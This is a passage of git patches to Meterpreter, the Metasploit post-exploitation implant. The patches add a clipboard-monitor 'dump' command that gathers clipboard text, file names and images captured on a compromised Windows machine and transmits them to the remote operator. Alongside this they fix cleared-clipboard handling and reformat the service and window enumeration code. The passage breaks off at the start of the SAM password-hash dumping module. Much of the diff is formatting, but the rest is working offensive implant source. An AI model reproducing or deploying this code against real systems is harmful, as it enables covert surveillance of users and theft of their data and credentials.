 		dprintf("[EXTAPI CLIPBOARD] Pausing clipboard monitor");
@@ -934,7 +1163,7 @@ DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet)
 	{
 		if (gClipboardState == NULL)
 		{
-			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOTHING_TO_TERMINATE);
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
 		}
 
 		dprintf("[EXTAPI CLIPBOARD] Resuming clipboard monitor");
@@ -954,6 +1183,9 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
 {
 #ifdef _WIN32
 	DWORD dwResult = ERROR_SUCCESS;
+	BOOL bDump = TRUE;
+	BOOL bIncludeImages = TRUE;
+	Packet *pResponse = packet_create_response(packet);
 
 	do
 	{
@@ -962,10 +1194,9 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
 			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOTHING_TO_TERMINATE);
 		}
 
-		dprintf("[EXTAPI CLIPBOARD] Starting clipboard monitor");
-
-		// resume in case we're paused
-		clipboard_monitor_resume(gClipboardState);
+		dprintf("[EXTAPI CLIPBOARD] Stopping clipboard monitor");
+		bDump = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DUMP);
+		bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA);
 
 		// now stop the show
 		event_signal(gClipboardState->hThread->sigterm);
@@ -977,13 +1208,48 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
 			dprintf("[EXTAPI CLIPBOARD] Brutally terminating the thread for not responding fast enough");
 			thread_kill(gClipboardState->hThread);
 		}
+		
+		if (bDump)
+		{
+			dump_clipboard_capture_list(pResponse, &gClipboardState->captureList, bIncludeImages, TRUE);
+		}
 
 		destroy_clipboard_monitor_state(gClipboardState);
 		gClipboardState = NULL;
 		dwResult = ERROR_SUCCESS;
 	} while (0);
 
-	packet_transmit_empty_response(remote, packet, dwResult);
+	packet_transmit_response(dwResult, remote, pResponse);
+
+	return dwResult;
+#else
+	return ERROR_NOT_SUPPORTED;
+#endif
+}
+
+DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
+{
+#ifdef _WIN32
+	DWORD dwResult = ERROR_SUCCESS;
+	BOOL bIncludeImages = TRUE;
+	BOOL bPurge = TRUE;
+	Packet *pResponse = packet_create_response(packet);
+
+	do
+	{
+		if (gClipboardState == NULL)
+		{
+			BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
+		}
+		bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA);
+		bPurge = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_PURGE);
+
+		dump_clipboard_capture_list(pResponse, &gClipboardState->captureList, bIncludeImages, bPurge);
+
+		dwResult = ERROR_SUCCESS;
+	} while (0);
+
+	packet_transmit_response(dwResult, remote, pResponse);
 
 	return dwResult;
 #else
diff --git a/c/meterpreter/source/extensions/extapi/clipboard.h b/c/meterpreter/source/extensions/extapi/clipboard.h
index f6bef2bf..c3689bb2 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.h
+++ b/c/meterpreter/source/extensions/extapi/clipboard.h
@@ -5,11 +5,13 @@
 #ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_H
 #define _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_H
 
+DWORD initialise_clipboard();
 DWORD request_clipboard_set_data(Remote *remote, Packet *packet);
 DWORD request_clipboard_get_data(Remote *remote, Packet *packet);
 DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet);
 DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet);
 DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet);
 DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet);
+DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet);
 
 #endif
diff --git a/c/meterpreter/source/extensions/extapi/extapi.c b/c/meterpreter/source/extensions/extapi/extapi.c
index 8b1f2e8b..5e26e17a 100644
--- a/c/meterpreter/source/extensions/extapi/extapi.c
+++ b/c/meterpreter/source/extensions/extapi/extapi.c
@@ -29,6 +29,7 @@ Command customCommands[] =
 	COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
 	COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
 	COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
+	COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
 	COMMAND_TERMINATOR
 };
 
@@ -44,7 +45,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
 
 	command_register_all(customCommands);
 
-	return ERROR_SUCCESS;
+	return initialise_clipboard();
 }
 
 /*!
diff --git a/c/meterpreter/source/extensions/extapi/extapi.h b/c/meterpreter/source/extensions/extapi/extapi.h
index c0d2a335..49ab17a2 100644
--- a/c/meterpreter/source/extensions/extapi/extapi.h
+++ b/c/meterpreter/source/extensions/extapi/extapi.h
@@ -32,7 +32,11 @@
 
 #define TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD             MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 35)
 
-#define TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT            MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING,    TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 40)
+#define TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP       MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING,    TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 38)
+
+#define TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT            MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP,     TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 39)
+#define TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT    MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING,    TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 40)
+
 #define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE            MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP,     TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 41)
 #define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME       MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING,    TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 42)
 #define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE       MAKE_CUSTOM_TLV(TLV_META_TYPE_QWORD,     TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 43)
@@ -42,8 +46,9 @@
 #define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY  MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 47)
 #define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA  MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW,       TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 48)
 
-#define TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES   MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 49)
-#define TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES  MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 50)
+#define TLV_TYPE_EXT_CLIPBOARD_MON_CAPTURE_IMG_DATA MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 50)
 #define TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS        MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING,    TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 51)
+#define TLV_TYPE_EXT_CLIPBOARD_MON_DUMP             MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 52)
+#define TLV_TYPE_EXT_CLIPBOARD_MON_PURGE            MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL,      TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 53)
 
 #endif
diff --git a/c/meterpreter/source/extensions/extapi/service.c b/c/meterpreter/source/extensions/extapi/service.c
index 10256624..0d5bedfa 100644
--- a/c/meterpreter/source/extensions/extapi/service.c
+++ b/c/meterpreter/source/extensions/extapi/service.c
@@ -72,7 +72,8 @@ DWORD request_service_enum(Remote *remote, Packet *packet)
 
 	do
 	{
-		if (!response) {
+		if (!response)
+		{
 			dprintf("[EXTAPI SERVICE] Unable to create response packet");
 			dwResult = ERROR_OUTOFMEMORY;
 			break;
@@ -84,7 +85,8 @@ DWORD request_service_enum(Remote *remote, Packet *packet)
 	} while (0);
 
 	dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
-	if (response) {
+	if (response)
+	{
 		packet_transmit_response(dwResult, remote, response);
 	}
 
@@ -109,14 +111,16 @@ DWORD request_service_query(Remote *remote, Packet *packet)
 
 	do
 	{
-		if (!response) {
+		if (!response)
+		{
 			dprintf("[EXTAPI SERVICE] Unable to create response packet");
 			dwResult = ERROR_OUTOFMEMORY;
 			break;
 		}
 
 		lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME);
-		if (!lpServiceName) {
+		if (!lpServiceName)
+		{
 			BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_BAD_ARGUMENTS);
 		}
 
@@ -126,7 +130,8 @@ DWORD request_service_query(Remote *remote, Packet *packet)
 	} while (0);
 
 	dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
-	if (response) {
+	if (response)
+	{
 		packet_transmit_response(dwResult, remote, response);
 	}
 
@@ -156,32 +161,38 @@ DWORD query_service(LPCSTR cpServiceName, Packet *pResponse)
 	do
 	{
 		dprintf("[EXTAPI SERVICE] Loading advapi32.dll");
-		if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL) {
+		if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to load advapi32.dll");
 		}
 
 		dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA");
-		if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL) {
+		if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll");
 		}
 
 		dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle");
-		if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL) {
+		if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL)
+		{
 			dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway.");
 		}
 
 		dprintf("[EXTAPI SERVICE] Searching for OpenServiceA");
-		if ((pOpenServiceA = (POPENSERVICEA)GetProcAddress(hAdvapi32, "OpenServiceA")) == NULL) {
+		if ((pOpenServiceA = (POPENSERVICEA)GetProcAddress(hAdvapi32, "OpenServiceA")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenServiceA in advapi32.dll.");
 		}
 
 		dprintf("[EXTAPI SERVICE] Opening the Service Control manager");
-		if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) {
+		if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to open the service control manager");
 		}
 
 		dprintf("[EXTAPI SERVICE] Opening the Service: %s", cpServiceName);
-		if ((scService = pOpenServiceA(scManager, cpServiceName, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) {
+		if ((scService = pOpenServiceA(scManager, cpServiceName, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL)
+		{
 			dwResult = GetLastError();
 			dprintf("[EXTAPI SERVICE] Unable to open the service: %s (%u)", cpServiceName, dwResult);
 			break;
@@ -192,15 +203,18 @@ DWORD query_service(LPCSTR cpServiceName, Packet *pResponse)
 
 	} while (0);
 
-	if (scService && pCloseServiceHandle) {
+	if (scService && pCloseServiceHandle)
+	{
 		pCloseServiceHandle(scService);
 	}
 
-	if (scManager && pCloseServiceHandle) {
+	if (scManager && pCloseServiceHandle)
+	{
 		pCloseServiceHandle(scManager);
 	}
 
-	if (hAdvapi32) {
+	if (hAdvapi32)
+	{
 		FreeLibrary(hAdvapi32);
 	}
 
@@ -237,28 +251,33 @@ DWORD enumerate_services(Packet *pResponse)
 	do
 	{
 		dprintf("[EXTAPI SERVICE] Loading advapi32.dll");
-		if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL) {
+		if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to load advapi32.dll");
 		}
 
 		dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA");
-		if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL) {
+		if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll");
 		}
 
 		dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle");
-		if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL) {
+		if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL)
+		{
 			dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway.");
 		}
 
 		dprintf("[EXTAPI SERVICE] Searching for EnumServicesStatusExA");
-		if ((pEnumServicesStatusExA = (PENUMSERVICESSTATUSEXA)GetProcAddress(hAdvapi32, "EnumServicesStatusExA")) == NULL) {
+		if ((pEnumServicesStatusExA = (PENUMSERVICESSTATUSEXA)GetProcAddress(hAdvapi32, "EnumServicesStatusExA")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate EnumServicesStatusExA in advapi32.dll.");
 		}
 
 		// TODO: add support for other machine names so that this instance can query other machines on the network.
 		dprintf("[EXTAPI SERVICE] Opening the Service Control manager");
-		if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) {
+		if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to open the service control manager");
 		}
 
@@ -269,7 +288,8 @@ DWORD enumerate_services(Packet *pResponse)
 		{
 			pSsInfo = (ENUM_SERVICE_STATUS_PROCESSA*)malloc(dwBytesNeeded);
 
-			if (!pSsInfo) {
+			if (!pSsInfo)
+			{
 				BREAK_ON_ERROR("[EXTAPI SERVICE] Out of memory");
 			}
 
@@ -277,7 +297,8 @@ DWORD enumerate_services(Packet *pResponse)
 				&dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL);
 		}
 
-		if (!bResult) {
+		if (!bResult)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Failed to enumerate services");
 		}
 
@@ -292,15 +313,18 @@ DWORD enumerate_services(Packet *pResponse)
 
 	} while (0);
 
-	if (pSsInfo) {
+	if (pSsInfo)
+	{
 		free(pSsInfo);
 	}
 
-	if (scManager && pCloseServiceHandle) {
+	if (scManager && pCloseServiceHandle)
+	{
 		pCloseServiceHandle(scManager);
 	}
 
-	if (hAdvapi32) {
+	if (hAdvapi32)
+	{
 		FreeLibrary(hAdvapi32);
 	}
 
@@ -373,23 +397,28 @@ DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pRespon
 	do
 	{
 		dprintf("[EXTAPI SERVICE] Searching for QueryServiceConfigA");
-		if ((pQueryServiceConfigA = (PQUERYSERVICECONFIGA)GetProcAddress(hAdvapi32, "QueryServiceConfigA")) == NULL) {
+		if ((pQueryServiceConfigA = (PQUERYSERVICECONFIGA)GetProcAddress(hAdvapi32, "QueryServiceConfigA")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate QueryServiceConfigA in advapi32.dll.");
 		}
 
-		if (pQueryServiceConfigA(scService, NULL, 0, &cbBytesNeeded)) {
+		if (pQueryServiceConfigA(scService, NULL, 0, &cbBytesNeeded))
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] This query should have failed");
 		}
 
-		if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
+		if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unexpected error from QueryServiceConfigA");
 		}
 
-		if ((lpServiceConfig = (LPQUERY_SERVICE_CONFIGA)malloc(cbBytesNeeded)) == NULL) {
+		if ((lpServiceConfig = (LPQUERY_SERVICE_CONFIGA)malloc(cbBytesNeeded)) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Out of memory");
 		}
 
-		if (!pQueryServiceConfigA(scService, lpServiceConfig, cbBytesNeeded, &cbBytesNeeded)) {
+		if (!pQueryServiceConfigA(scService, lpServiceConfig, cbBytesNeeded, &cbBytesNeeded))
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] QueryServiceConfigA failed");
 		}
 
@@ -403,7 +432,8 @@ DWORD get_service_config(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pRespon
 
 	} while (0);
 
-	if (lpServiceConfig) {
+	if (lpServiceConfig)
+	{
 		free(lpServiceConfig);
 	}
 
@@ -431,32 +461,39 @@ DWORD get_service_dacl(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse
 	do
 	{
 		dprintf("[EXTAPI SERVICE] Searching for QueryServiceObjectSecurity");
-		if ((pQueryServiceObjectSecurity = (PQUERYSERVICEOBJECTSECURITY)GetProcAddress(hAdvapi32, "QueryServiceObjectSecurity")) == NULL) {
+		if ((pQueryServiceObjectSecurity = (PQUERYSERVICEOBJECTSECURITY)GetProcAddress(hAdvapi32, "QueryServiceObjectSecurity")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate QueryServiceObjectSecurity in advapi32.dll.");
 		}
 
 		dprintf("[EXTAPI SERVICE] Searching for ConvertSecurityDescriptorToStringSecurityDescriptorA");
-		if ((pCSDTSSDA = (PCSDTSSDA)GetProcAddress(hAdvapi32, "ConvertSecurityDescriptorToStringSecurityDescriptorA")) == NULL) {
+		if ((pCSDTSSDA = (PCSDTSSDA)GetProcAddress(hAdvapi32, "ConvertSecurityDescriptorToStringSecurityDescriptorA")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate ConvertSecurityDescriptorToStringSecurityDescriptorA in advapi32.dll.");
 		}
 
-		if (pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, (PSECURITY_DESCRIPTOR)&pSecurityDescriptor, 0, &dwBytesNeeded)) {
+		if (pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, (PSECURITY_DESCRIPTOR)&pSecurityDescriptor, 0, &dwBytesNeeded))
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Call should have failed");
 		}
 
-		if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
+		if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unexpected error getting security");
 		}
 
-		if ((pSecurityDescriptor = (PSECURITY_DESCRIPTOR)malloc(dwBytesNeeded)) == NULL) {
+		if ((pSecurityDescriptor = (PSECURITY_DESCRIPTOR)malloc(dwBytesNeeded)) == NULL)
+		{
 			BREAK_WITH_ERROR("[EXTAPI SERVICE] Out of memory", ERROR_OUTOFMEMORY);
 		}
 
-		if (!pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, pSecurityDescriptor, dwBytesNeeded, &dwBytesNeeded)) {
+		if (!pQueryServiceObjectSecurity(scService, DACL_SECURITY_INFORMATION, pSecurityDescriptor, dwBytesNeeded, &dwBytesNeeded))
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to query security information for DACL_SECURITY_INFORMATION");
 		}
 
-		if (!pCSDTSSDA(pSecurityDescriptor, SDDL_REVISION_1, DACL_SECURITY_INFORMATION, &lpDaclString, NULL)) {
+		if (!pCSDTSSDA(pSecurityDescriptor, SDDL_REVISION_1, DACL_SECURITY_INFORMATION, &lpDaclString, NULL))
+		{
 			BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to get DACL string");
 		}
 
@@ -464,11 +501,13 @@ DWORD get_service_dacl(HMODULE hAdvapi32, SC_HANDLE scService, Packet *pResponse
 
 	} while (0);
 
-	if (lpDaclString) {
+	if (lpDaclString)
+	{
 		LocalFree(lpDaclString);
 	}
 
-	if (pSecurityDescriptor) {
+	if (pSecurityDescriptor)
+	{
 		free(pSecurityDescriptor);
 	}
 
diff --git a/c/meterpreter/source/extensions/extapi/window.c b/c/meterpreter/source/extensions/extapi/window.c
index 33ef5530..09d81f24 100644
--- a/c/meterpreter/source/extensions/extapi/window.c
+++ b/c/meterpreter/source/extensions/extapi/window.c
@@ -48,12 +48,15 @@ BOOL CALLBACK enumerate_windows_callback(HWND hWnd, LPARAM lParam)
 	do
 	{
 		dprintf("[EXTAPI WINDOW] Getting window title %p", pState->pGetWindowTextA);
-		if (pState->pGetWindowTextA(hWnd, windowTitle, MAX_WINDOW_TITLE) == 0) {
+		if (pState->pGetWindowTextA(hWnd, windowTitle, MAX_WINDOW_TITLE) == 0)
+		{
 			dprintf("[EXTAPI WINDOW] Unable to get window title. Setting to <unknown>.");
-			if (pState->bIncludeUnknown) {
+			if (pState->bIncludeUnknown)
+			{
 				strncpy_s(windowTitle, MAX_WINDOW_TITLE, "<unknown>", MAX_WINDOW_TITLE - 1);
 			}
-			else {
+			else
+			{
 				break;
 			}
 		}
@@ -91,18 +94,21 @@ DWORD enumerate_windows(Packet *response, BOOL bIncludeUnknown, QWORD parentWind
 	do
 	{
 		dprintf("[EXTAPI WINDOW] Loading user32.dll");
-		if ((hUser32 = LoadLibraryA("user32.dll")) == NULL) {
+		if ((hUser32 = LoadLibraryA("user32.dll")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to load user32.dll");
 		}
 
 		dprintf("[EXTAPI WINDOW] Searching for GetWindowTextA");
-		if ((state.pGetWindowTextA = (PGETWINDOWTEXA)GetProcAddress(hUser32, "GetWindowTextA")) == NULL) {
+		if ((state.pGetWindowTextA = (PGETWINDOWTEXA)GetProcAddress(hUser32, "GetWindowTextA")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate GetWindowTextA in user32.dll");
 		}
 		dprintf("[EXTAPI WINDOW] Found GetWindowTextA %p", state.pGetWindowTextA);
 
 		dprintf("[EXTAPI WINDOW] Searching for GetWindowThreadProcessId");
-		if ((state.pGetWindowThreadProcessId = (PGETWINDOWTHREADPROCESSID)GetProcAddress(hUser32, "GetWindowThreadProcessId")) == NULL) {
+		if ((state.pGetWindowThreadProcessId = (PGETWINDOWTHREADPROCESSID)GetProcAddress(hUser32, "GetWindowThreadProcessId")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate GetWindowThreadProcessId in user32.dll");
 		}
 
@@ -112,19 +118,22 @@ DWORD enumerate_windows(Packet *response, BOOL bIncludeUnknown, QWORD parentWind
 		state.bIncludeUnknown = bIncludeUnknown;
 
 		dprintf("[EXTAPI WINDOW] Searching for EnumChildWindows");
-		if ((pEnumChildWindows = (PENUMCHILDWINDOWS)GetProcAddress(hUser32, "EnumChildWindows")) == NULL) {
+		if ((pEnumChildWindows = (PENUMCHILDWINDOWS)GetProcAddress(hUser32, "EnumChildWindows")) == NULL)
+		{
 			BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate EnumChildWindows in user32.dll");
 		}
 
 		dprintf("[EXTAPI WINDOW] Beginning enumeration of child windows with parent %u", parentWindow);
-		if (!pEnumChildWindows(parentWindow != 0 ? (HWND)parentWindow : NULL, (WNDENUMPROC)enumerate_windows_callback, (LPARAM)&state)) {
+		if (!pEnumChildWindows(parentWindow != 0 ? (HWND)parentWindow : NULL, (WNDENUMPROC)enumerate_windows_callback, (LPARAM)&state))
+		{
 			BREAK_ON_ERROR("[EXTAPI WINDOW] Failed to enumerate child windows");
 		}
 
 		dwResult = ERROR_SUCCESS;
 	} while (0);
 
-	if (hUser32) {
+	if (hUser32)
+	{
 		FreeLibrary(hUser32);
 	}
 
@@ -149,7 +158,8 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
 
 	do
 	{
-		if (!response) {
+		if (!response)
+		{
 			dprintf("[EXTAPI WINDOW] Unable to create response packet");
 			dwResult = ERROR_OUTOFMEMORY;
 			break;
@@ -168,7 +178,8 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
 	} while (0);
 
 	dprintf("[EXTAPI WINDOW] Transmitting response back to caller.");
-	if (response) {
+	if (response)
+	{
 		packet_transmit_response(dwResult, remote, response);
 	}
 

From 2918920b154c090518ffe21cdbf9f2c3a5f4eb2b Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 22 Jan 2014 22:49:03 +1000
Subject: [PATCH 06/20] Handle NULL values when clipboard is cleared

---
 c/meterpreter/source/extensions/extapi/clipboard.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/c/meterpreter/source/extensions/extapi/clipboard.c b/c/meterpreter/source/extensions/extapi/clipboard.c
index 3f2eb107..c83e014f 100644
--- a/c/meterpreter/source/extensions/extapi/clipboard.c
+++ b/c/meterpreter/source/extensions/extapi/clipboard.c
@@ -341,8 +341,8 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL
 	case CapText:
 		dprintf("[EXTAPI CLIPBOARD] Dumping text %s", pCapture->lpText);
 		entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT;
-		entries[1].header.length = lstrlenA(pCapture->lpText) + 1;
-		entries[1].buffer = (PUCHAR)pCapture->lpText;
+		entries[1].buffer = (PUCHAR)(pCapture->lpText ? pCapture->lpText : "(null - clipboard was cleared)");
+		entries[1].header.length = lstrlenA((char*)entries[1].buffer) + 1;
 
 		packet_add_tlv_group(pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, entries, 2);
 		dprintf("[EXTAPI CLIPBOARD] Text added to packet");

From e85ff80bb458d9dcaa69ee048445f14bedfa08d0 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Fri, 24 Jan 2014 10:59:19 +1000
Subject: [PATCH 07/20] Reformatting of code to make it a bit more readable

---
 .../source/extensions/priv/server/passwd.c    | 446 +++++++++++++-----
 1 file changed, 333 insertions(+), 113 deletions(-)

diff --git a/c/meterpreter/source/extensions/priv/server/passwd.c b/c/meterpreter/source/extensions/priv/server/passwd.c
index a06e2402..8b93cef8 100644
--- a/c/meterpreter/source/extensions/priv/server/passwd.c
+++ b/c/meterpreter/source/extensions/priv/server/passwd.c
@@ -12,18 +12,21 @@
 #define SAM_USER_INFO_PASSWORD_OWFS 0x12
 
 /* define types for samsrv functions */
-typedef struct _SAM_DOMAIN_USER {
+typedef struct _SAM_DOMAIN_USER
+{
 	DWORD				dwUserId;
 	LSA_UNICODE_STRING  wszUsername;
 } SAM_DOMAIN_USER;
 
-typedef struct _SAM_DOMAIN_USER_ENUMERATION {
+typedef struct _SAM_DOMAIN_USER_ENUMERATION
+{
 	DWORD               dwDomainUserCount;
 	SAM_DOMAIN_USER     *pSamDomainUser;
 } SAM_DOMAIN_USER_ENUMERATION;
 
 /* define the type for passing data */
-typedef struct _USERNAMEHASH {
+typedef struct _USERNAMEHASH
+{
 	char	*Username;
 	DWORD	Length;
 	DWORD	RID;
@@ -40,7 +43,8 @@ typedef BOOL	(WINAPI *CloseHandleType)(HANDLE);
 typedef DWORD	(WINAPI *WaitForSingleObjectType)(HANDLE, DWORD);
 
 /* define the context/argument structure */
-typedef struct {
+typedef struct
+{
 
